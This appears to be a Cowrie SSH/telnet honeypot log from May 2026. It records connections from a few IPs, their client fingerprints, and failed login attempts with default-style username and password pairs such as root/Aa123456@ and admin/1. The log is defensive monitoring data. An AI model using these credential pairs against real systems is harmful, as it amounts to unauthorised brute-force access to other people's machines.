{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:15.150589Z","src_ip":"192.109.200.237","session":"bfcc10e52206","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:15.232717Z","src_ip":"192.109.200.237","session":"bfcc10e52206","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"botuser","password":"123","message":"login attempt [botuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:15.477767Z","src_ip":"192.109.200.237","session":"bfcc10e52206","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:16.563409Z","src_ip":"192.109.200.237","session":"bfcc10e52206","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56246,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a5c4c6ff79f","protocol":"ssh","message":"New connection: 192.109.200.237:56246 (159.203.135.109:22) [session: 7a5c4c6ff79f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:18.587505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:18.594651Z","src_ip":"192.109.200.237","session":"7a5c4c6ff79f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:18.676555Z","src_ip":"192.109.200.237","session":"7a5c4c6ff79f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:18.922362Z","src_ip":"192.109.200.237","session":"7a5c4c6ff79f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.207839727401733,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:19.740131Z","src_ip":"50.6.8.71","session":"9d37fb91a8bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:20.007842Z","src_ip":"192.109.200.237","session":"7a5c4c6ff79f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42106,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6b7943f1076","protocol":"ssh","message":"New connection: 192.109.200.237:42106 (159.203.135.109:22) [session: a6b7943f1076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:22.057623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:22.124195Z","src_ip":"192.109.200.237","session":"a6b7943f1076","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:22.285816Z","src_ip":"192.109.200.237","session":"a6b7943f1076","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1","message":"login attempt [admin/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:22.544536Z","src_ip":"192.109.200.237","session":"a6b7943f1076","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":57422,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e2b878f03a7","protocol":"ssh","message":"New connection: 109.172.54.111:57422 (159.203.135.109:22) [session: 2e2b878f03a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:22.787830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:22.797569Z","src_ip":"109.172.54.111","session":"2e2b878f03a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:22.897439Z","src_ip":"109.172.54.111","session":"2e2b878f03a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ijrjkfl","message":"login attempt [root/ijrjkfl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:23.206263Z","src_ip":"109.172.54.111","session":"2e2b878f03a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:23.635311Z","src_ip":"192.109.200.237","session":"a6b7943f1076","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:24.307665Z","src_ip":"109.172.54.111","session":"2e2b878f03a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":33986,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc03b4df89da","protocol":"ssh","message":"New connection: 80.94.92.184:33986 (159.203.135.109:22) [session: cc03b4df89da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:25.480713Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:25.601996Z","src_ip":"80.94.92.184","session":"cc03b4df89da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42132,"dst_ip":"159.203.135.109","dst_port":22,"session":"c64bdee779d2","protocol":"ssh","message":"New connection: 192.109.200.237:42132 (159.203.135.109:22) [session: c64bdee779d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:25.850834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:25.856615Z","src_ip":"192.109.200.237","session":"c64bdee779d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:25.938778Z","src_ip":"192.109.200.237","session":"c64bdee779d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jumpserver","password":"jumpserver","message":"login attempt [jumpserver/jumpserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:26.188000Z","src_ip":"192.109.200.237","session":"c64bdee779d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:27.272875Z","src_ip":"192.109.200.237","session":"c64bdee779d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42144,"dst_ip":"159.203.135.109","dst_port":22,"session":"26467d9a70d7","protocol":"ssh","message":"New connection: 192.109.200.237:42144 (159.203.135.109:22) [session: 26467d9a70d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:29.334347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:29.339137Z","src_ip":"192.109.200.237","session":"26467d9a70d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:29.421626Z","src_ip":"192.109.200.237","session":"26467d9a70d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":39826,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a02f102cf5f","protocol":"telnet","message":"New connection: 50.6.8.71:39826 (10.17.0.5:23) [session: 6a02f102cf5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:29.479709Z"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123456","message":"login attempt [frappe/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:29.669133Z","src_ip":"192.109.200.237","session":"26467d9a70d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":39836,"dst_ip":"10.17.0.5","dst_port":23,"session":"31f33aec0c89","protocol":"telnet","message":"New connection: 50.6.8.71:39836 (10.17.0.5:23) [session: 31f33aec0c89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:29.812460Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:30.754058Z","src_ip":"192.109.200.237","session":"26467d9a70d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35074,"dst_ip":"159.203.135.109","dst_port":22,"session":"e47115ce8f1c","protocol":"ssh","message":"New connection: 192.109.200.237:35074 (159.203.135.109:22) [session: e47115ce8f1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:32.835818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:32.958924Z","src_ip":"192.109.200.237","session":"e47115ce8f1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:32.963249Z","src_ip":"192.109.200.237","session":"e47115ce8f1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":39840,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9d463a04c5a","protocol":"telnet","message":"New connection: 50.6.8.71:39840 (10.17.0.5:23) [session: b9d463a04c5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:33.047655Z"}
{"eventid":"cowrie.login.failed","username":"amir","password":"123456","message":"login attempt [amir/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:33.315160Z","src_ip":"192.109.200.237","session":"e47115ce8f1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:34.400339Z","src_ip":"192.109.200.237","session":"e47115ce8f1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35088,"dst_ip":"159.203.135.109","dst_port":22,"session":"0fd9933c5cbf","protocol":"ssh","message":"New connection: 192.109.200.237:35088 (159.203.135.109:22) [session: 0fd9933c5cbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:36.522186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:36.526857Z","src_ip":"192.109.200.237","session":"0fd9933c5cbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:36.608852Z","src_ip":"192.109.200.237","session":"0fd9933c5cbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user6","password":"user6","message":"login attempt [user6/user6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:17:36.855755Z","src_ip":"192.109.200.237","session":"0fd9933c5cbf","protocol":"ssh"}
